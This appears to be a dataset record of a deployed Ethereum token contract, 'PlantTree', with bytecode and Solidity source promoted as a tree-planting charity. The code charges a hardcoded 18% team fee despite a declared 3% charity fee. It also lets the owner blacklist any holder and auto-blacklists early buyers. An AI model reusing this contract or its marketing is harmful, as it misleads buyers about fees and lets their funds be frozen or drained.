18082815260200191505060405180910390a3600190509392505050565b600860ff16600a0a6301406f400281565b600881565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b4957600080fd5b6000811415610bd057600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f193505050501515610bcb57600080fd5b610c33565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501515610c3257600080fd5b5b50565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610d47576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ddb565b610d5a838261166d90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f6b57600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a26000600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600381526020017f414e54000000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156110b057600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156110fd57600080fd5b61114e826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461166d90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111e1826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461168690919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061132382600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461168690919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561157157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156115ad57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600082821115151561167b57fe5b818303905092915050565b6000818301905082811015151561169957fe5b809050929150505600a165627a7a72305820ec3ca9863a47059bdcca28ce707ab435b3e3913db2f8660ec0de2f9c4fea00be0029
|
{"success": true, "error": null, "results": {}}
| 3,387 |
0x4daa59e69608d0acd6adf9fc1192bfab46d7507a
|
/**
*Submitted for verification at Etherscan.io on 2021-06-29
*/
/**
Do you think the current problem of the world is covid?
Absolutely No! #ClimateEmergency is trending on Twitter.
Climate emergency is the most problem that we met
It's all because of us. If everybody plants a tree then the world could be saved.
If you are not good at the plant a tree or no time to do it then we can help you.
We will invest the profits in climate-related companies and organizations.
Buy the tokens, if you get your profit with our token then save the world by planting a tree.
If you didn't get a profit, then we will help on planting a tree by investing.
It's fair launch, No presale, dev tokens.
Telegram: https://t.me/planttreetoken
Twitter: https://twitter.com/search?q=%23ClimateEmergency&src=trend_click&vertical=trends
There's a bot protection so please don't snipe our token.
Launch time will be announced.
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract PlantTree is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Plant a Tree | t.me/planttreetoken";
string private constant _symbol = "PlantTree \xF0\x9F\x8C\xB1";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 2;
uint256 private _charityFee = 3;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _charityAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
uint256 public launchBlock;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1) {
_charityAddress = addr1;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_charityAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _charityFee == 0) return;
_taxFee = 0;
_charityFee = 0;
}
function restoreAllFee() private {
_taxFee = 2;
_charityFee = 3;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to] && !bots[msg.sender]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (block.number <= launchBlock + 3) {
if (from != uniswapV2Pair && from != address(uniswapV2Router)) {
bots[from] = true;
} else if (to != uniswapV2Pair && to != address(uniswapV2Router)) {
bots[to] = true;
}
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function isExcluded(address account) public view returns (bool) {
return _isExcludedFromFee[account];
}
function isBlackListed(address account) public view returns (bool) {
return bots[account];
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_charityAddress.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 1000000000000 * 10**9;
launchBlock = block.number;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _charityAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _charityAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, 18);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061012e5760003560e01c80638da5cb5b116100ab578063c9567bf91161006f578063c9567bf9146103c5578063cba0e996146103dc578063d00efb2f14610419578063d543dbeb14610444578063dd62ed3e1461046d578063e47d6060146104aa57610135565b80638da5cb5b146102f257806395d89b411461031d578063a9059cbb14610348578063b515566a14610385578063c3c8cd80146103ae57610135565b8063313ce567116100f2578063313ce567146102335780635932ead11461025e5780636fc3eaec1461028757806370a082311461029e578063715018a6146102db57610135565b806306fdde031461013a578063095ea7b31461016557806318160ddd146101a257806323b872dd146101cd578063273123b71461020a57610135565b3661013557005b600080fd5b34801561014657600080fd5b5061014f6104e7565b60405161015c9190613236565b60405180910390f35b34801561017157600080fd5b5061018c60048036038101906101879190612d59565b610507565b604051610199919061321b565b60405180910390f35b3480156101ae57600080fd5b506101b7610525565b6040516101c491906133d8565b60405180910390f35b3480156101d957600080fd5b506101f460048036038101906101ef9190612d0a565b610536565b604051610201919061321b565b60405180910390f35b34801561021657600080fd5b50610231600480360381019061022c9190612c7c565b61060f565b005b34801561023f57600080fd5b506102486106ff565b604051610255919061344d565b60405180910390f35b34801561026a57600080fd5b5061028560048036038101906102809190612dd6565b610708565b005b34801561029357600080fd5b5061029c6107ba565b005b3480156102aa57600080fd5b506102c560048036038101906102c09190612c7c565b61082c565b6040516102d291906133d8565b60405180910390f35b3480156102e757600080fd5b506102f061087d565b005b3480156102fe57600080fd5b506103076109d0565b604051610314919061314d565b60405180910390f35b34801561032957600080fd5b506103326109f9565b60405161033f9190613236565b60405180910390f35b34801561035457600080fd5b5061036f600480360381019061036a9190612d59565b610a36565b60405161037c919061321b565b60405180910390f35b34801561039157600080fd5b506103ac60048036038101906103a79190612d95565b610a54565b005b3480156103ba57600080fd5b506103c3610ba4565b005b3480156103d157600080fd5b506103da610c1e565b005b3480156103e857600080fd5b5061040360048036038101906103fe9190612c7c565b611182565b604051610410919061321b565b60405180910390f35b34801561042557600080fd5b5061042e6111d8565b60405161043b91906133d8565b60405180910390f35b34801561045057600080fd5b5061046b60048036038101906104669190612e28565b6111de565b005b34801561047957600080fd5b50610494600480360381019061048f9190612cce565b611327565b6040516104a191906133d8565b60405180910390f35b3480156104b657600080fd5b506104d160048036038101906104cc9190612c7c565b6113ae565b6040516104de919061321b565b60405180910390f35b6060604051806060016040528060228152602001613b1160229139905090565b600061051b610514611404565b848461140c565b6001905092915050565b6000683635c9adc5dea00000905090565b60006105438484846115d7565b6106048461054f611404565b6105ff85604051806060016040528060288152602001613b3360289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105b5611404565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461201b9092919063ffffffff16565b61140c565b600190509392505050565b610617611404565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161069b90613318565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610710611404565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461079d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079490613318565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107fb611404565b73ffffffffffffffffffffffffffffffffffffffff161461081b57600080fd5b60004790506108298161207f565b50565b6000610876600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120eb565b9050919050565b610885611404565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610912576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161090990613318565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600e81526020017f506c616e745472656520f09f8cb1000000000000000000000000000000000000815250905090565b6000610a4a610a43611404565b84846115d7565b6001905092915050565b610a5c611404565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ae9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ae090613318565b60405180910390fd5b60005b8151811015610ba0576001600a6000848481518110610b34577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610b98906136ee565b915050610aec565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610be5611404565b73ffffffffffffffffffffffffffffffffffffffff1614610c0557600080fd5b6000610c103061082c565b9050610c1b81612159565b50565b610c26611404565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cb3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610caa90613318565b60405180910390fd5b600e60149054906101000a900460ff1615610d03576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cfa90613398565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610d9330600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061140c565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610dd957600080fd5b505afa158015610ded573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e119190612ca5565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610e7357600080fd5b505afa158015610e87573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610eab9190612ca5565b6040518363ffffffff1660e01b8152600401610ec8929190613168565b602060405180830381600087803b158015610ee257600080fd5b505af1158015610ef6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f1a9190612ca5565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610fa33061082c565b600080610fae6109d0565b426040518863ffffffff1660e01b8152600401610fd0969594939291906131ba565b6060604051808303818588803b158015610fe957600080fd5b505af1158015610ffd573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906110229190612e51565b5050506001600e60166101000a81548160ff0219169083151502179055506000600e60176101000a81548160ff021916908315150217905550683635c9adc5dea00000600f81905550436010819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161112c929190613191565b602060405180830381600087803b15801561114657600080fd5b505af115801561115a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061117e9190612dff565b5050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60105481565b6111e6611404565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611273576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161126a90613318565b60405180910390fd5b600081116112b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112ad906132d8565b60405180910390fd5b6112e560646112d783683635c9adc5dea0000061245390919063ffffffff16565b6124ce90919063ffffffff16565b600f819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf600f5460405161131c91906133d8565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561147c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161147390613378565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156114ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e390613298565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115ca91906133d8565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611647576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161163e90613358565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ae90613258565b60405180910390fd5b600081116116fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116f190613338565b60405180910390fd5b6117026109d0565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561177057506117406109d0565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611f5857600e60179054906101000a900460ff16156119a3573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156117f257503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561184c5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156118a65750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156119a257600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166118ec611404565b73ffffffffffffffffffffffffffffffffffffffff1614806119625750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661194a611404565b73ffffffffffffffffffffffffffffffffffffffff16145b6119a1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611998906133b8565b6